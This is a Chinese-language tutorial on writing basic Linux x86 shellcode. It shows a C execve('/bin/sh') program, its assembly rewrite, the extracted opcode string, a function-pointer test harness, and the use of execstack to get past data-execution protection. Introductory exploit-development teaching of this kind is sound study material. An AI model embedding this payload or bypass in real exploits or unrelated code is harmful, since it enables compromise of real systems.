0x01 前言
本文的目的不是為了介紹如何進行惡意的破壞性活動,而是為了教會你如何去防御此類破壞性活動,以幫助你擴大知識范圍,完善自己的技能,如有讀者運用本文所學技術從事破壞性活動,本人概不負責。
0x02 什么是Shellcode
shellcode是用作利用軟件漏洞的有效載荷的一小段代碼,因為它通常啟動一個命令shell,攻擊者可以從中控制受攻擊的機器,所以稱他為shellcode。但是任何執行類似任務的代碼都可以稱為shellcode。 因為有效載荷的功能不僅限於一個shell。
shellcode基本的編寫方式有以下三種
- 直接編寫十六進制操作碼。
- 使用c語言編寫程序,然后進行編譯,最后進行反匯編來獲取匯編指令和十六進制操作碼。
- 編寫匯編程序,將該程序匯編,然后從二進制中提取十六進制操作碼。
第一種方法很極端,直接編寫十六進制操作碼是一件非常難得事情。下面我將帶大家一步步去編寫自己的shellcode。
0x03 execve系統調用
在Linux系統上執行程序的方式有多種,但是其中使用最廣泛的一種方式就是通過借助execve系統調用。我們首先來看看execve的使用方法。
說明看起來很復雜,其實很簡單。我們先使用c語言來實現它。
c語言實現execve系統調用創建shell
我們首先來新建一個文件:
我們使用vim來編寫代碼:
看完上面的介紹,使用c語言來實現就很簡單了。
1
2
3
4
5
6
7
8
9
|
#include <unistd.h>
int
main
(
)
{
char
*
shell[
2
];
shell[
0
]
=
"/bin/sh"
;
shell[
1
]
=
NULL;
execve
(
shell[
0
]
,
shell
,
NULL
)
;
}
|
然后我們使用gcc編譯器來編譯一下:
運行看看:
成功執行創建一個shell。
轉向匯編語言
前面我們已經使用c語言來實現了,現在我們就需要用匯編語言來重寫execve系統調用,其實很簡單。我們先來查看一下execve系統調用號:11
匯編代碼重寫:
首先我們將寄存器eax清零。
然后我們將寄存器eax進行入棧操作,其實就是將字符串末尾的空字符值入棧:
push eax
然后將//sh入棧(由於需要對齊,因此這里用了四個字節)
push 0x68732f2f
最后將/bin入棧。
push 0x6e69622f
現在棧上已經有了全部所需數據,現在就是設置execve系統調用了。
[AppleScript]
純文本查看 復制代碼
1
2
3
4
5
6
7
|
mov ebx
,
esp
push eax
push ebx
mov ecx
,
esp
xor edx
,
edx
mov al
,
0
xb ;
0
xb表示其系統調用號的十六進制,execve的系統調用號為
11
int
0
x
80
|
完整代碼如下:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
|
section .
text
global
_start
_start
:
xor eax
,
eax
push eax
push
0
x
68732
f
2
f
push
0
x
6
e
69622
f
mov ebx
,
esp
push eax
push ebx
mov ecx
,
esp
xor edx
,
edx
mov al
,
0
xb
int
0
x
80
|
匯編鏈接測試
首先使用nasm進行匯編
root@kali:~/demo# nasm -f elf test.asm
然后使用ld鏈接
root@kali:~/demo# ld -o test test.o
運行測試看看
root@kali:~/demo# ./test
#
0x04 提取十六進制操作碼並測試Shellcode
獲得十六進制操作碼很簡單,我們只需要使用objdump工具的-d選項來進行反匯編即可:
最后我們檢查一下有沒有出現空字符(\x00)。
測試shellcode
首先我們將十六進制操作碼放入一個名為shellcode[]的緩沖區中。
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
|
#include <stdio.h>
char shellcode[]
=
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
;
int
main
(
)
{
void
(*fp) (void);
fp=(void *)
shellcode;
fp
(
)
;
}
|
然后我們分配一個名為fp的函數指針,然后將這個函數指針設置為shellcode[]的起始地址。最后我們執行這個函數。
現在我們編譯一下,這里注意一下,編譯成功后我們還是不能成功執行的,會出現段錯誤的提示,這是因為系統本身有數據區執行保護機制,導致在全局數據段的shellcode不能被運行,即出現段錯誤。
這里我們先安裝一下execstack。
sudo apt-get install execstack
然后針對編譯后的程序使用execstack
execstack -s 程序名
之后執行就OK了
總結
現在我們已經知道一個shellcode編寫流程了,別走開,這只是基礎篇,我們實現的這個shellcode缺乏實戰,下一篇教程我們繼續完善這個shellcode。
參考:
《匯編語言(第3版) 》王爽
《[科普]淺入淺出Liunx Shellcode》pr0cess